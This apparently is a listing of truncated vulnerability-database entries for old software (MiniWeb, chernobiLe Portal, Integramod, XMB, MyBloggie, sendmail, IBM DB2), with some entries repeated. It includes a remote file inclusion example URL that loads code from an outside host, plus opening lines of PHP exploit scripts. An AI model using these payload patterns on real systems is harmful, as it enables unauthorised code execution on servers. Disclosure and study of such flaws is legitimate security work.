MiniWeb HTTP Server 0.8.x - Remote Denial of Service

MiniWeb Http Server 0.8.x Remote Denial of Service MiniWeb site http://sourceforge.net/projects/miniweb/ Author: gbr Tested running the server under Windows XP SP2 Description: The server doesn't do a sanity-check on 'Content-Length' value from POST Header, allowing the attacker to control the...

chernobiLe Portal 1.0 (default.asp) Remote SQL Injection Vulnerability

No description provided by source. Title : chernobiLe Portal 1.0 default.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$ : Not Free,Private Info : / Turk Script Eklememen konusunda guzelce uyarmistim,ukalaca tamam demistin Fakat hala birsey bulmus gibi bazi sitelerde bu...

chernobiLe Portal 1.0 - 'default.asp' SQL Injection

Title : chernobiLe Portal 1.0 default.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$ : Not Free,Private Info : / Turk Script Eklememen konusunda guzelce uyarmistim,ukalaca tamam demistin Fakat hala birsey bulmus gibi bazi sitelerde bu raporlarin basligini aciyorsun.Urastigin...

CodeRed : The history of one vulnerability

History of one vulnerability It all started with a message from eEye 1 about another discovered buffer overflow vulnerability in IIS. The problem was in the ISAPI filter from Index Service. According to the eEye report, the vulnerability was discovered quite unexpectedly during one of the tests o...

security flaw

Integer overflow in the CIDAFM function in X.Org 6.8.2 and XFree86 X server allows local users to execute arbitrary code via crafted Adobe Font Metrics AFM files with a modified number of character metrics StartCharMetrics, which leads to a heap-based buffer overflow...

security flaw

Integer overflow in the CIDAFM function in X.Org 6.8.2 and XFree86 X server allows local users to execute arbitrary code via crafted Adobe Font Metrics AFM files with a modified number of character metrics StartCharMetrics, which leads to a heap-based buffer overflow...

integramodInclude.txt

--Security Report-- Advisory: Integramod Portal http://site/integramodpath/includes/functionsportal.php?phpbbrootpath=FILE EXAMPLE - http://site/integramodpath/includes/functionsportal.php?phpbbrootpath=http://yoursite.com/cmd.txt? EXAMPLE -...

[Full-disclosure] Advisory: Integramod Portal <= 2.x File Inclusion Vulnerability

--Security Report-- Advisory: Integramod Portal = 2.x File Inclusion Vulnerability --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 24/08/06 03:00 AM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Integramod http://www.integramod.co...

XMB 1.9.6 Final - 'basename()' Remote Command Execution

!/usr/bin/php -q -d shortopentag=on ? echo "XMB = 1.9.6 Final basename 'langfilenew' arbitrary local inclusion / remote commands xctn\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "Powered by XMB"\n\n"; / works regardless of php.ini settings /...

WebAlbum 2.02pl - COOKIE[skin2] Remote Code Execution

!/usr/bin/php -q -d shortopentag=on this works with magicquotesgpc=Off\r\n"; echo "dork: WEBalbum 2004-2006 duda\r\n"; if $argc 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".de...

Macromedia Flash Media Server 2 Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ================================================================ Macromedia Flash Media Server 2 Remote Denial of Service Exploit ================================================================ / Macromedia Flash Media Server 2 Remote D.o.S...

mybloggie213b.txt

MyBloggie 2.1.3beta null char + SQL Injection - Login Bypass software: site: http://www.mywebland.com/ vulnerability: if magic quotes off - SQL INJECTION look carefully this code in login.php, line 40-69 ... if isset$POST'username' $username=$POST'username'; else $username=""; if isset$POST'passw...

MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass

MyBloggie 2.1.3beta null char + SQL Injection - Login Bypass software: site: http://www.mywebland.com/ vulnerability: if magic quotes off - SQL INJECTION look carefully this code in login.php, line 40-69 ... if isset$POST'username' $username=$POST'username'; else $username=""; if isset$POST'passw...

CVE-2005-2540

CRLF injection vulnerability in FlatNuke 2.5.5 and possibly earlier versions allows remote attackers to execute arbitrary PHP commands via an ASCII char 13 carriage return in the signature field, which is injected into a PHP script without a preceding comment character, which can then be executed...

Encrypted Messenger char sequence DoS

Strings !! cause application to crash...

DEBIAN-CVE-2004-0751

The charbufferread function in the modssl module for Apache 2.x, when using reverse proxying to an SSL server, allows remote attackers to cause a denial of service segmentation fault...

Debian DSA-278-1 : sendmail - char-to-int conversion

Michal Zalewski discovered a buffer overflow, triggered by a char to int conversion, in the address parsing code in sendmail, a widely used powerful, efficient, and scalable mail transport agent. This problem is potentially remotely exploitable. %NASLMINLEVEL 70300 C Tenable Network Security, Inc...

Debian DSA-290-1 : sendmail-wide - char-to-int conversion

Michal Zalewski discovered a buffer overflow, triggered by a char to int conversion, in the address parsing code in sendmail, a widely used powerful, efficient, and scalable mail transport agent. This problem is potentially remotely exploitable. %NASLMINLEVEL 70300 C Tenable Network Security, Inc...

IBM DB2 DTS To String Conversion - Denial of Service

source: https://www.securityfocus.com/bid/11400/info IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out. It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is...

[SECURITY] [DSA 290-1] New sendmail-wide packages fix DoS and arbitrary code execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 290-1 [email protected] http://www.debian.org/security/ Martin Schulze April 17th, 2003 http://www.debian.org/security/faq -...